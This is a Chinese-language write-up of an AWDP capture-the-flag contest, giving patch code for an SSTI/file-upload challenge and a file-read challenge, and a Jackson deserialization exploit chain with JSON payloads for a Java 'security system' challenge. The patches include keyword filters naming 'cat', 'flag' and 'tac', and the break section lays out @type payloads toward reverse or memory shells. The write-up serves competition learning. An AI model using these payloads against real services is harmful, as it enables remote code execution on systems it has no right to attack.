前言 == 本篇文章首发在先知社区 作者Zjacky(本人) 先知社区名称: `Zjacky` 转载原文链接为https://xz.aliyun.com/t/13935 Web === ezcache(只会Fix) --------------  给了两个源码，src应该是源码，packages是依赖  这里还是很抽象的，他题目说web根目录在/app下，md这源码还有个app...(我写了11个包都是在/app下，我人都傻了，全是exp利用成功，求求你了ichunqiu带点脑子写清楚点会死吗)  当时exp利用成功了11次我就看settings tmd 我还觉得奇怪呢  审计urls.py发现定义了三个路由  关键代码看`generate` 即可 ```python def generate_page(request): if request.method == "POST": intro = str(request.POST.get('intro')) if 'admin' in intro or 'config.' in intro: return HttpResponse("can't be as admin") outer_html = ('<h1>hello {user}</h1><h3>' + intro + '</h3>').format(user=request.user) f = request.FILES.get("file", None) filename = request.POST.get('filename') if request.POST.get('filename') else f.name if '.py' in filename: return HttpResponse("no py") if f is None: return HttpResponse("no file") else: with open("/app/static/{}".format(filename), 'wb+') as ff: for chunk in f.chunks(): ff.write(chunk) return HttpResponse(outer_html + "<img src="/static/%7B%7D" alt="{}">".format(filename)) else: return HttpResponse("unable") ``` 发现intro可控并且有render和{}关键字，猜测是SSTI之类的东西进行SSTI的过滤  这里就尝试过滤掉`{`或者`}`符号 就能过check ```python from django.shortcuts import render, HttpResponse from django.views.decorators.cache import cache_page # Create your views here. def index(request): return render(request,'index.html') def generate_page(request): if request.method == "POST": intro = str(request.POST.get('intro')).replace("{","").replace("..","").replace("/","") if 'admin' in intro or 'config.' in intro: return HttpResponse("can't be as admin" outer_html = ('<h1>hello {user}</h1><h3>' + intro + '</h3>').format(user=request.user) f = request.FILES.get("file", None) filename = request.POST.get('filename') if request.POST.get('filename') else f.name if '.py' in filename: return HttpResponse("no py") if f is None: return HttpResponse("no file") else: with open("/app/static/{}".format(filename), 'wb+') as ff: for chunk in f.chunks(): ff.write(chunk) return HttpResponse(outer_html + "<img src="/static/%7B%7D" alt="{}">".format(filename)) else: return HttpResponse("unable") ``` whatis(只会Fix) ------------- 一堆python文件 这个题可以说是把awdp给玩明白了，通过控制变量法，重复修改导入包：硬fuzz 《这就是FUZZ的魅力》  啥意思呢，就是他是需要导包的，我们通过不允许他导包来进行测试服务异常，发现在这三个导入的包，只有file会异常，所以异常文件在file目录下的**init**文件  发现POST有个读文件，给他加个过滤 ```python import base64 import json from flask import Blueprint, request, render_template, jsonify, current_app from config import SPEED file = Blueprint('file', __name__, template_folder=".") @file.route('/file/', methods=['GET', 'POST']) def __file(uid): if request.method == "GET": return render_template('file.html') elif request.form.get("dir"): _data = current_app.cache[uid][0].send_term_command( {"v_uid": "0222", "type": "dir", "data": request.form.get("dir")}) return jsonify({"code": 0, "data": _data["raw"]}) elif request.form.get("action") == "upload": _file = request.files["file"] _file = str(_file).replace("{","").replace("..","").replace("/","").replace("cat","").replace("flag","").replace("tac","") _path = request.form.get("src_path") _path = str(_path).replace("{","").replace("..","").replace("/","").replace("cat","").replace("flag","").replace("tac","") _file_data = base64.b64encode(_file.read()).decode() _data = current_app.cache[uid][0].send_term_command({"v_uid": "0222", "type": "upload", "data": {"path": _path, "filename": _file.filename, "data": _file_data}}) return jsonify(_data) else: data = json.loads(request.data) if data["action"] == "download": _data = current_app.cache[uid][0].send_term_command({"v_uid": "0222", "type": data["action"], "data": data}) a = str(data["filename"]).replace("{","").replace("..","") with open("static/files/{}".format(a), "wb") as f: f.write(base64.b64decode(_data["data"])) return jsonify({"code": 0}) _data = current_app.cache[uid][0].send_term_command({"v_uid": "0222", "type": data["action"], "data": data}) return jsonify({"code": 0, "data": _data["raw"]}) ``` security system(fix+break) -------------------------- 提示  ### Fix 明显后面可以无条件反序列化base64decode直接ban掉即可过check ```java package com.example.jackson; import com.fasterxml.jackson.databind.ObjectMapper; import java.util.Iterator; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class Index { private static final ObjectMapper mapper = new ObjectMapper(); private static final SecurityCheck isSafe = new SecurityCheck(); @RequestMapping({"/safeobject"}) public String start(String obj, String classes) throws Exception { if (!classes.contains("Object") && !classes.contains("LinkedHashMap")) { Class c = Class.forName(classes); SecurityCheck var10000 = isSafe; if (SecurityCheck.isSafe()) { Object o = SecurityCheck.deObject(mapper.readValue(obj, c)); return o.toString(); } } else { return "xixixixi"; } return "xixixixi"; } public static void main(String[] args) throws Exception { } } ``` 预期解  ### Break 依赖就spring的依赖并且版本为2.7.12   看对应路由，就一个  - 传入obj和classes，并反射获取classes的类为反序列化的类，obj为json字符串 - 在if分支里，会对传入的obj做jackson解析，然后给到`SecurityCheck.deObject()`方法处理后再调用toString返回 - 在else分支里会获取SecurityCheck的treeMap属性，并且做反序列化 - SecurityCheck的safe属性可以控制进入if和else 我当时的第一个疑问： 1. 我的`mapper`没设置属性咋打啊？ 其实就是因为`SecurityCheck.deObject`方法 ```java public static Object deObject(Object ob) throws Exception { if (ob instanceof LinkedHashMap) { LinkedHashMap map = (LinkedHashMap)ob; String type = (String)map.get("@type"); if (!"".equals(type) && type != null) { Class clazz = Class.forName(type); Object obj = clazz.newInstance(); Iterator ir = map.keySet().iterator(); while(ir.hasNext()) { String key = (String)ir.next(); Object value = map.get(key); if (!key.equals("@type")) { Field field = getField(clazz, key); if (field != null) { setFieldValues(obj, key, value); } } } return obj; } else { return map; } } else { return ob; } } ``` 方法中找传入对象的`@type`属性去加载这个指定类然后返回这个初始化这个类 然后把传入的值以map的形式生成一个迭代器，来每个`key`进行一次遍历取出`key`和`value`来进行反射属性赋值，跟进下`setFieldValues`是怎么写的  发现竟然对`value`也能够进行类的初始化以及再次反射属性修改值，所以说我们就可以很容易的做到初始化任意对象和构造任意属性了 所以我第一反应也是打`o.toString()`去调用TemplatesImpl的getter ```java POJONode#toString -> TemplatesImpl#getOutputProperties ``` 那么直接写出payload即可(要满足`ob instanceof LinkedHashMap`其实就去找一个类是他的子类即可)  于是就可以写出如下的payload ```json obj={"@type":"com.fasterxml.jackson.databind.node.POJONode"}&classes=org.springframework.ui.ExtendedModelMap ```  其实在写payload的时候就已经会存在一个疑问了 1. `POJONode`的`_value`怎么赋一个`TemplatesImpl`进去呢？我就算用JSON去赋值也是直接赋给的`ExtendedModelMap`这个对象啊 所以只能考虑`else`这个方法，但是这里就会有一个疑问了，因为他写死了默认是`true`了，我们能否修改了呢？  那我们现在的主要目的就是要走到`else`这个方法里头，那其实存在jackson就可以进行修改了，所以我们构造payload ```json obj={"@type":"org.example.SecurityCheck","safe":false}&classes=org.springframework.ui.ExtendedModelMap ``` 那我们传入的内容就是`SecurityCheck`这个全包 ```java classes=com.example.jackson.SecurityCheck ``` 这样就把`safe`的值改成了false了  再来看这个代码 ```java StringBuilder sb = new StringBuilder(); var10000 = isSafe; Iterator var5 = SecurityCheck.ismap().iterator(); while(var5.hasNext()) { Object item = var5.next(); byte[] s = SecurityCheck.base64Decode((String)item); sb.append(SecurityCheck.deserialize(s)); } return sb.toString(); ``` 这里的方法就是去取了`SecurityCheck`的`treeMap`属性进行取值  而这个`treeMap`是通过`SecurityCheck`的构造方法进行了赋值的  也就是说 `treeMap`其实是一个存储着序列化的base64值的`hashset`  接下来就是取这个`hashset`里头的值进行反序列化，那么就很容易想到打jackson那条通杀的稳定链了 那怎么去传入我们的序列化的base64的值呢 那就是上述讲到的`setFieldValues`可以进行递归调用`deObject`来初始化类，那么我们传入一个`treeMap`，将一个`map`赋值给他即可，那就可以构造如下payload了 ```json { "@type": "com.example.jackson.SecurityCheck", "safe": false, "treeMap": { "@type": "java.util.HashSet", "map": { "rO0AB......": null } } } ``` 那么既然可以任意类加载了，那么打内存马也行，打反弹shell也行 ```xml POST /safeobject HTTP/1.1

```  总结 == 本次比赛也是跟@清风一起打的，说实话，本来感觉有压力的(好吧其实PWN压力多点)，我们两个Web狗都在搞节目效果一样，各种骚操作了，学到了蛮多AWDP的技巧哈哈 - 不一定要过滤很多很多，其实过滤一两个就差不多了，特别注意，没必要禁用flag，禁用f就好了差不多了 - 多尝试，一定一定要看清楚路径！！！这个太重要了 只要有问题，可以先删掉功能点看服务是否异常或者是多路径(可疑路径都传一遍不就得了)传参，比如如下图所示 - 不一定写少代码有好处，能多执行就执行啊 - 要多看依赖！SSTI那个导依赖看render就过滤依赖至关重要了
